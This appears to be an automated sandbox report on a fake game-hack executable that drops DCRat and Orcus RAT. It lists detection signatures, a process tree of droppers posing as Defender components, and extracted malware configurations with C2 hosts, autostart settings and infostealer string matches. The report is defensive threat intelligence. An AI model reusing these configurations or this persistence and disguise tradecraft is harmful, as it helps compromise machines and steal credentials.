Edit tour

Windows Analysis Report
GameHackBuild1.exe.bin.exe

Overview

General Information

Sample name:	GameHackBuild1.exe.bin.exe
Analysis ID:	1590018
MD5:	35a0fbec2fc6d2a550a569719406d58d
SHA1:	bc73001a0600313803d3594dc51d3d0813dbdec1
SHA256:	221ec8caee4804b4c9e4ced2e1f03be897bc1993d7898b2bdc00f90a093eb87d
Tags:	AgentTeslaDCRatexeNyashTeamuser-MalHunter3
Infos:

Detection

DCRat, Orcus

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected DCRat

Yara detected Orcus RAT

AI detected suspicious sample

Creates an autostart registry key pointing to binary in C:\Windows

Creates an undocumented autostart registry key

Creates multiple autostart registry keys

Creates processes via WMI

Found Tor onion address

Found many strings related to Crypto-Wallets (likely being stolen)

Infects executable files (exe, dll, sys, html)

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: WScript or CScript Dropper

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Yara detected Generic Downloader

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Compiles C# or VB.Net code

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates COM task schedule object (often to register a task for autostart)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Entry point lies outside standard sections

File is packed with WinRar

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: CurrentVersion NT Autorun Keys Modification

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

GameHackBuild1.exe.bin.exe (PID: 7292 cmdline: "C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe" MD5: 35A0FBEC2FC6D2A550A569719406D58D)

wscript.exe (PID: 7572 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\VaCm6yonii0zLXLvCqreXRVqw1.vbe" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 7692 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\DaJttDh54LCmoatNZvevDoWyEmexKWgun1WAXP2cdZM0egnWJQQpZtVxW.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7616 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

runtimesvc.exe (PID: 4920 cmdline: "C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor/runtimesvc.exe" MD5: 00C4245522082B7F87721F9A26E96BA4)

csc.exe (PID: 8368 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tv1xqdyv\tv1xqdyv.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

conhost.exe (PID: 8376 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cvtres.exe (PID: 8460 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RES5B8E.tmp" "c:\Program Files (x86)\Microsoft\Edge\Application\CSC8F87101CD76241BAB3866A995ECAD4A7.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

MpDefenderProtector.exe (PID: 7588 cmdline: "C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe" MD5: 10E817A4D5E216279A8DE8ED71C91044)

MpDefenderCoreProtion.exe (PID: 7932 cmdline: "C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe" MD5: 10E817A4D5E216279A8DE8ED71C91044)

RegAsm.exe (PID: 5520 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

GameHack.exe (PID: 7612 cmdline: "C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe" MD5: BC7804FCA6DD09B4F16E86D80B8D28FA)

wscript.exe (PID: 7752 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\chainReviewdhcp\mJEJ7PbY35CMaAu5227dvHv.vbe" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 6896 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\chainReviewdhcp\LJrjU6BhAd6hMsY1uw5hl2I0p3Jh.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

containerRuntime.exe (PID: 7620 cmdline: "C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe" MD5: 52C95032FF8B8C3D4DFD98E51D8F6F58)

Solara.exe (PID: 7648 cmdline: "C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe" MD5: E8C32CC88DB9FEF57FD9E2BB6D20F70B)

conhost.exe (PID: 7736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7660 cmdline: wmic diskdrive get model,serialnumber MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

MpDefenderCoreProtion.exe (PID: 5456 cmdline: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe MD5: 10E817A4D5E216279A8DE8ED71C91044)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Name	Description	Attribution	Blogpost URLs	Link
Orcus RAT	Orcus has been advertised as a Remote Administration Tool (RAT) since early 2016. It has all the features that would be expected from a RAT and probably more. The long list of the commands is documented on their website. But what separates Orcus from the others is its capability to load custom plugins developed by users, as well as plugins that are readily available from the Orcus repository. In addition to that, users can also execute C# and VB.net code on the remote machine in real-time.	No Attribution	http://researchcenter.paloaltonetworks.com/2016/08/unit42-orcus-birth-of-an-unusual-plugin-builder-rat/ https://any.run/cybersecurity-blog/orcus-rat-malware-analysis/ https://asec.ahnlab.com/en/45462/ https://assets.virustotal.com/reports/2021trends.pdf https://blog.checkpoint.com/2019/02/27/protecting-against-winrar-vulnerabilities/	https://malpedia.caad.fkie.fraunhofer.de/details/win.orcus_rat

Malware Configuration

Threatname: DCRat

{"C2 url": "http://117813cm.n9shteam.in/ExternalRequest", "MUTEX": "DCR_MUTEX-KJuu1JY0vqv02KLL4nsh", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "false", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}

Threatname: OrcusRAT

{"AutostartBuilderProperty": {"AutostartMethod": "Disable", "TaskSchedulerTaskName": "sudik", "TaskHighestPrivileges": "true", "AutoSteal": "true", "Inject": "true", "RegistryHiddenStart": "true", "RegistryKeyName": "Sudik", "TryAllAutostartMethodsOnFail": "true"}, "ChangeAssemblyInformationBuilderProperty": {"ChangeAssemblyInformation": "false", "AssemblyTitle": null, "AssemblyDescription": null, "AssemblyCompanyName": null, "AssemblyProductName": null, "AssemblyCopyright": null, "AssemblyTrademarks": null, "AssemblyProductVersion": "1.0.0.0", "AssemblyFileVersion": "1.0.0.0"}, "ChangeCreationDateBuilderProperty": {"IsEnabled": "false", "NewCreationDate": "2016-11-05T21:17:40"}, "ChangeIconBuilderProperty": {"ChangeIcon": "false", "IconPath": null}, "ClientTagBuilderProperty": {"ClientTag": "GameHack"}, "ConnectionBuilderProperty": {"IpAddresses": [{"Ip": "25350.client.sudorat.top", "Port": "25350"}, {"Ip": "25350.client.sudorat.ru", "Port": "25350"}, {"Ip": "31.44.184.52", "Port": "25350"}]}, "DataFolderBuilderProperty": {"Path": "%appdata%\\Windows\\Defender\\"}, "DefaultPrivilegesBuilderProperty": {"RequireAdministratorRights": "true"}, "DisableInstallationPromptBuilderProperty": {"IsDisabled": "true"}, "FrameworkVersionBuilderProperty": {"FrameworkVersion": "NET35"}, "HideFileBuilderProperty": {"HideFile": "true"}, "InstallationLocationBuilderProperty": {"Path": "%appdata%\\Windows\\Defender\\MpDefenderCoreProtion.exe"}, "InstallBuilderProperty": {"Install": "true"}, "KeyloggerBuilderProperty": {"IsEnabled": "false"}, "MutexBuilderProperty": {"Mutex": "sudo_06kkh814g4vz7sfklrh1emcow75dz383"}, "ProxyBuilderProperty": {"ProxyOption": "None", "ProxyAddress": null, "ProxyPort": "1080", "ProxyType": "2"}, "ReconnectDelayProperty": {"Delay": "10000"}, "RequireAdministratorPrivilegesInstallerBuilderProperty": {"RequireAdministratorPrivileges": "true"}, "RespawnTaskBuilderProperty": {"IsEnabled": "true", "TaskName": "MpDefenderProtector"}, "ServiceBuilderProperty": {"Install": "false"}, "SetRunProgramAsAdminFlagBuilderProperty": {"SetFlag": "true"}, "WatchdogBuilderProperty": {"IsEnabled": "false", "Name": "aga.exe", "WatchdogLocation": "AppData", "PreventFileDeletion": "false"}}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	JoeSecurity_OrcusRat	Yara detected Orcus RAT	J from THL <j@techhelplist.com> with thx to MalwareHunterTeam
C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	RAT_Orcus	unknown	J from THL <j@techhelplist.com> with thx to MalwareHunterTeam	0x2dc4a7:$text01: Orcus.CommandManagement 0x2c91d6:$text02: Orcus.Commands. 0x2ca141:$text02: Orcus.Commands. 0x2cab44:$text02: Orcus.Commands. 0x2cac77:$text02: Orcus.Commands. 0x2cbcd3:$text02: Orcus.Commands. 0x2cbd03:$text02: Orcus.Commands. 0x2cbd31:$text02: Orcus.Commands. 0x2cedd0:$text02: Orcus.Commands. 0x2cefd2:$text02: Orcus.Commands. 0x2cfe5a:$text02: Orcus.Commands. 0x2d0a12:$text02: Orcus.Commands. 0x2d10bd:$text02: Orcus.Commands. 0x2d1158:$text02: Orcus.Commands. 0x2d1294:$text02: Orcus.Commands. 0x2d1d6b:$text02: Orcus.Commands. 0x2d1e31:$text02: Orcus.Commands. 0x2d1e6d:$text02: Orcus.Commands. 0x2d1ead:$text02: Orcus.Commands. 0x2d20cc:$text02: Orcus.Commands. 0x2d2b0c:$text02: Orcus.Commands.
C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x2ec750:$f1: FileZilla\recentservers.xml 0x2ec284:$f3: SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions 0x2ecae0:$b1: Chrome\User Data\ 0x2ecb4c:$b1: Chrome\User Data\ 0x2ecbfc:$b2: Mozilla\Firefox\Profiles 0x2ec69c:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2f57c7:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2ec44a:$b4: Opera Software\Opera Stable\Login Data 0x2ec178:$b5: YandexBrowser\User Data\ 0x2ec1e4:$b5: YandexBrowser\User Data\ 0x2ecb94:$s1: key3.db 0x2eccbe:$s4: logins.json 0x2ebcfc:$a1: username_value 0x2ebd1a:$a2: password_value 0x2d0710:$a3: encryptedUsername 0x2ecd0a:$a3: encryptedUsername 0x2ce9da:$a4: encryptedPassword 0x2ecd2e:$a4: encryptedPassword
C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	JoeSecurity_OrcusRat	Yara detected Orcus RAT	J from THL <j@techhelplist.com> with thx to MalwareHunterTeam
C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	RAT_Orcus	unknown	J from THL <j@techhelplist.com> with thx to MalwareHunterTeam	0x2dc4a7:$text01: Orcus.CommandManagement 0x2c91d6:$text02: Orcus.Commands. 0x2ca141:$text02: Orcus.Commands. 0x2cab44:$text02: Orcus.Commands. 0x2cac77:$text02: Orcus.Commands. 0x2cbcd3:$text02: Orcus.Commands. 0x2cbd03:$text02: Orcus.Commands. 0x2cbd31:$text02: Orcus.Commands. 0x2cedd0:$text02: Orcus.Commands. 0x2cefd2:$text02: Orcus.Commands. 0x2cfe5a:$text02: Orcus.Commands. 0x2d0a12:$text02: Orcus.Commands. 0x2d10bd:$text02: Orcus.Commands. 0x2d1158:$text02: Orcus.Commands. 0x2d1294:$text02: Orcus.Commands. 0x2d1d6b:$text02: Orcus.Commands. 0x2d1e31:$text02: Orcus.Commands. 0x2d1e6d:$text02: Orcus.Commands. 0x2d1ead:$text02: Orcus.Commands. 0x2d20cc:$text02: Orcus.Commands. 0x2d2b0c:$text02: Orcus.Commands.
C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x2ec750:$f1: FileZilla\recentservers.xml 0x2ec284:$f3: SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions 0x2ecae0:$b1: Chrome\User Data\ 0x2ecb4c:$b1: Chrome\User Data\ 0x2ecbfc:$b2: Mozilla\Firefox\Profiles 0x2ec69c:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2f57c7:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2ec44a:$b4: Opera Software\Opera Stable\Login Data 0x2ec178:$b5: YandexBrowser\User Data\ 0x2ec1e4:$b5: YandexBrowser\User Data\ 0x2ecb94:$s1: key3.db 0x2eccbe:$s4: logins.json 0x2ebcfc:$a1: username_value 0x2ebd1a:$a2: password_value 0x2d0710:$a3: encryptedUsername 0x2ecd0a:$a3: encryptedUsername 0x2ce9da:$a4: encryptedPassword 0x2ecd2e:$a4: encryptedPassword
Click to see the 3 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_OrcusRat	Yara detected Orcus RAT	J from THL <j@techhelplist.com> with thx to MalwareHunterTeam
00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp	RAT_Orcus	unknown	J from THL <j@techhelplist.com> with thx to MalwareHunterTeam	0x1f84c7:$text01: Orcus.CommandManagement 0x1e51f6:$text02: Orcus.Commands. 0x1e6161:$text02: Orcus.Commands. 0x1e6b64:$text02: Orcus.Commands. 0x1e6c97:$text02: Orcus.Commands. 0x1e7cf3:$text02: Orcus.Commands. 0x1e7d23:$text02: Orcus.Commands. 0x1e7d51:$text02: Orcus.Commands. 0x1eadf0:$text02: Orcus.Commands. 0x1eaff2:$text02: Orcus.Commands. 0x1ebe7a:$text02: Orcus.Commands. 0x1eca32:$text02: Orcus.Commands. 0x1ed0dd:$text02: Orcus.Commands. 0x1ed178:$text02: Orcus.Commands. 0x1ed2b4:$text02: Orcus.Commands. 0x1edd8b:$text02: Orcus.Commands. 0x1ede51:$text02: Orcus.Commands. 0x1ede8d:$text02: Orcus.Commands. 0x1edecd:$text02: Orcus.Commands. 0x1ee0ec:$text02: Orcus.Commands. 0x1eeb2c:$text02: Orcus.Commands.
0000001A.00000002.1720636580.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000017.00000002.1998107194.000000001BA70000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
0000001A.00000002.1720636580.00000000029E3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_OrcusRat	Yara detected Orcus RAT	J from THL <j@techhelplist.com> with thx to MalwareHunterTeam
0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp	RAT_Orcus	unknown	J from THL <j@techhelplist.com> with thx to MalwareHunterTeam	0x3b2577:$text01: Orcus.CommandManagement 0x6aad97:$text01: Orcus.CommandManagement 0x39f2a6:$text02: Orcus.Commands. 0x3a0211:$text02: Orcus.Commands. 0x3a0c14:$text02: Orcus.Commands. 0x3a0d47:$text02: Orcus.Commands. 0x3a1da3:$text02: Orcus.Commands. 0x3a1dd3:$text02: Orcus.Commands. 0x3a1e01:$text02: Orcus.Commands. 0x3a4ea0:$text02: Orcus.Commands. 0x3a50a2:$text02: Orcus.Commands. 0x3a5f2a:$text02: Orcus.Commands. 0x3a6ae2:$text02: Orcus.Commands. 0x3a718d:$text02: Orcus.Commands. 0x3a7228:$text02: Orcus.Commands. 0x3a7364:$text02: Orcus.Commands. 0x3a7e3b:$text02: Orcus.Commands. 0x3a7f01:$text02: Orcus.Commands. 0x3a7f3d:$text02: Orcus.Commands. 0x3a7f7d:$text02: Orcus.Commands. 0x3a819c:$text02: Orcus.Commands.
00000007.00000000.1286933996.0000000000242000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_OrcusRat	Yara detected Orcus RAT	J from THL <j@techhelplist.com> with thx to MalwareHunterTeam
00000007.00000000.1286933996.0000000000242000.00000002.00000001.01000000.00000009.sdmp	RAT_Orcus	unknown	J from THL <j@techhelplist.com> with thx to MalwareHunterTeam	0x2dc2a7:$text01: Orcus.CommandManagement 0x2c8fd6:$text02: Orcus.Commands. 0x2c9f41:$text02: Orcus.Commands. 0x2ca944:$text02: Orcus.Commands. 0x2caa77:$text02: Orcus.Commands. 0x2cbad3:$text02: Orcus.Commands. 0x2cbb03:$text02: Orcus.Commands. 0x2cbb31:$text02: Orcus.Commands. 0x2cebd0:$text02: Orcus.Commands. 0x2cedd2:$text02: Orcus.Commands. 0x2cfc5a:$text02: Orcus.Commands. 0x2d0812:$text02: Orcus.Commands. 0x2d0ebd:$text02: Orcus.Commands. 0x2d0f58:$text02: Orcus.Commands. 0x2d1094:$text02: Orcus.Commands. 0x2d1b6b:$text02: Orcus.Commands. 0x2d1c31:$text02: Orcus.Commands. 0x2d1c6d:$text02: Orcus.Commands. 0x2d1cad:$text02: Orcus.Commands. 0x2d1ecc:$text02: Orcus.Commands. 0x2d290c:$text02: Orcus.Commands.
00000017.00000002.1959832866.000000001322D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
0000001A.00000002.1846009611.00000000125BF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: GameHackBuild1.exe.bin.exe PID: 7292	JoeSecurity_OrcusRat	Yara detected Orcus RAT	J from THL <j@techhelplist.com> with thx to MalwareHunterTeam
Process Memory Space: GameHackBuild1.exe.bin.exe PID: 7292	RAT_Orcus	unknown	J from THL <j@techhelplist.com> with thx to MalwareHunterTeam	0x6006f:$text01: Orcus.CommandManagement 0x76ccf:$text01: Orcus.CommandManagement 0x4e466:$text02: Orcus.Commands. 0x4f396:$text02: Orcus.Commands. 0x4fd6d:$text02: Orcus.Commands. 0x4fea0:$text02: Orcus.Commands. 0x50ec8:$text02: Orcus.Commands. 0x50ef8:$text02: Orcus.Commands. 0x50f26:$text02: Orcus.Commands. 0x53d97:$text02: Orcus.Commands. 0x53f6b:$text02: Orcus.Commands. 0x54c75:$text02: Orcus.Commands. 0x55735:$text02: Orcus.Commands. 0x55d55:$text02: Orcus.Commands. 0x55df0:$text02: Orcus.Commands. 0x55f17:$text02: Orcus.Commands. 0x56858:$text02: Orcus.Commands. 0x568df:$text02: Orcus.Commands. 0x5691b:$text02: Orcus.Commands. 0x5695b:$text02: Orcus.Commands. 0x56b47:$text02: Orcus.Commands.
Process Memory Space: MpDefenderCoreProtion.exe PID: 7932	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: MpDefenderCoreProtion.exe PID: 7932	JoeSecurity_OrcusRat	Yara detected Orcus RAT	J from THL <j@techhelplist.com> with thx to MalwareHunterTeam
Process Memory Space: MpDefenderCoreProtion.exe PID: 7932	RAT_Orcus	unknown	J from THL <j@techhelplist.com> with thx to MalwareHunterTeam	0x6eb3e:$text01: Orcus.CommandManagement 0x8569c:$text01: Orcus.CommandManagement 0xa8709:$text01: Orcus.CommandManagement 0x5da3c:$text02: Orcus.Commands. 0x5e990:$text02: Orcus.Commands. 0x5f37b:$text02: Orcus.Commands. 0x5f4ae:$text02: Orcus.Commands. 0x604d9:$text02: Orcus.Commands. 0x60509:$text02: Orcus.Commands. 0x60537:$text02: Orcus.Commands. 0x631cb:$text02: Orcus.Commands. 0x633b2:$text02: Orcus.Commands. 0x64069:$text02: Orcus.Commands. 0x64894:$text02: Orcus.Commands. 0x64d83:$text02: Orcus.Commands. 0x64e1e:$text02: Orcus.Commands. 0x64ef3:$text02: Orcus.Commands. 0x658b6:$text02: Orcus.Commands. 0x6597c:$text02: Orcus.Commands. 0x659b8:$text02: Orcus.Commands. 0x659f8:$text02: Orcus.Commands.
Process Memory Space: runtimesvc.exe PID: 4920	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: containerRuntime.exe PID: 7620	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 13 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
13.2.MpDefenderCoreProtion.exe.46090d0.6.unpack	JoeSecurity_OrcusRat	Yara detected Orcus RAT	J from THL <j@techhelplist.com> with thx to MalwareHunterTeam
13.2.MpDefenderCoreProtion.exe.46090d0.6.unpack	RAT_Orcus	unknown	J from THL <j@techhelplist.com> with thx to MalwareHunterTeam	0x2da6a7:$text01: Orcus.CommandManagement 0x2c73d6:$text02: Orcus.Commands. 0x2c8341:$text02: Orcus.Commands. 0x2c8d44:$text02: Orcus.Commands. 0x2c8e77:$text02: Orcus.Commands. 0x2c9ed3:$text02: Orcus.Commands. 0x2c9f03:$text02: Orcus.Commands. 0x2c9f31:$text02: Orcus.Commands. 0x2ccfd0:$text02: Orcus.Commands. 0x2cd1d2:$text02: Orcus.Commands. 0x2ce05a:$text02: Orcus.Commands. 0x2cec12:$text02: Orcus.Commands. 0x2cf2bd:$text02: Orcus.Commands. 0x2cf358:$text02: Orcus.Commands. 0x2cf494:$text02: Orcus.Commands. 0x2cff6b:$text02: Orcus.Commands. 0x2d0031:$text02: Orcus.Commands. 0x2d006d:$text02: Orcus.Commands. 0x2d00ad:$text02: Orcus.Commands. 0x2d02cc:$text02: Orcus.Commands. 0x2d0d0c:$text02: Orcus.Commands.
13.2.MpDefenderCoreProtion.exe.46090d0.6.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x2ea950:$f1: FileZilla\recentservers.xml 0x2ea484:$f3: SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions 0x2eace0:$b1: Chrome\User Data\ 0x2ead4c:$b1: Chrome\User Data\ 0x2eadfc:$b2: Mozilla\Firefox\Profiles 0x2ea89c:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2f39c7:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2ea64a:$b4: Opera Software\Opera Stable\Login Data 0x2ea378:$b5: YandexBrowser\User Data\ 0x2ea3e4:$b5: YandexBrowser\User Data\ 0x2ead94:$s1: key3.db 0x2eaebe:$s4: logins.json 0x2e9efc:$a1: username_value 0x2e9f1a:$a2: password_value 0x2ce910:$a3: encryptedUsername 0x2eaf0a:$a3: encryptedUsername 0x2ccbda:$a4: encryptedPassword 0x2eaf2e:$a4: encryptedPassword
23.2.runtimesvc.exe.1ba70000.5.unpack	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
23.2.runtimesvc.exe.1ba70000.5.raw.unpack	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
7.0.MpDefenderProtector.exe.240000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
7.0.MpDefenderProtector.exe.240000.0.unpack	JoeSecurity_OrcusRat	Yara detected Orcus RAT	J from THL <j@techhelplist.com> with thx to MalwareHunterTeam
7.0.MpDefenderProtector.exe.240000.0.unpack	RAT_Orcus	unknown	J from THL <j@techhelplist.com> with thx to MalwareHunterTeam	0x2dc4a7:$text01: Orcus.CommandManagement 0x2c91d6:$text02: Orcus.Commands. 0x2ca141:$text02: Orcus.Commands. 0x2cab44:$text02: Orcus.Commands. 0x2cac77:$text02: Orcus.Commands. 0x2cbcd3:$text02: Orcus.Commands. 0x2cbd03:$text02: Orcus.Commands. 0x2cbd31:$text02: Orcus.Commands. 0x2cedd0:$text02: Orcus.Commands. 0x2cefd2:$text02: Orcus.Commands. 0x2cfe5a:$text02: Orcus.Commands. 0x2d0a12:$text02: Orcus.Commands. 0x2d10bd:$text02: Orcus.Commands. 0x2d1158:$text02: Orcus.Commands. 0x2d1294:$text02: Orcus.Commands. 0x2d1d6b:$text02: Orcus.Commands. 0x2d1e31:$text02: Orcus.Commands. 0x2d1e6d:$text02: Orcus.Commands. 0x2d1ead:$text02: Orcus.Commands. 0x2d20cc:$text02: Orcus.Commands. 0x2d2b0c:$text02: Orcus.Commands.
7.0.MpDefenderProtector.exe.240000.0.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x2ec750:$f1: FileZilla\recentservers.xml 0x2ec284:$f3: SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions 0x2ecae0:$b1: Chrome\User Data\ 0x2ecb4c:$b1: Chrome\User Data\ 0x2ecbfc:$b2: Mozilla\Firefox\Profiles 0x2ec69c:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2f57c7:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2ec44a:$b4: Opera Software\Opera Stable\Login Data 0x2ec178:$b5: YandexBrowser\User Data\ 0x2ec1e4:$b5: YandexBrowser\User Data\ 0x2ecb94:$s1: key3.db 0x2eccbe:$s4: logins.json 0x2ebcfc:$a1: username_value 0x2ebd1a:$a2: password_value 0x2d0710:$a3: encryptedUsername 0x2ecd0a:$a3: encryptedUsername 0x2ce9da:$a4: encryptedPassword 0x2ecd2e:$a4: encryptedPassword
13.2.MpDefenderCoreProtion.exe.46090d0.6.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
13.2.MpDefenderCoreProtion.exe.46090d0.6.raw.unpack	JoeSecurity_OrcusRat	Yara detected Orcus RAT	J from THL <j@techhelplist.com> with thx to MalwareHunterTeam
